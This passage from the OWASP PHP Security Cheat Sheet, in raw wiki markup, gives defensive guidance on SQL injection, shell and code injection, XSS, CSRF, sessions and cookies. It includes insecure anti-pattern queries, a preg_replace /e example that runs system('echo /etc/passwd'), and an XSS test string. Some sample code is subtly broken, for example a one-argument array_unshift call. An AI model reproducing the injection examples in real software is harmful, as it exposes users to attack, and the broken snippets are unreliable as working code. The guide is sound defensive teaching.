&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
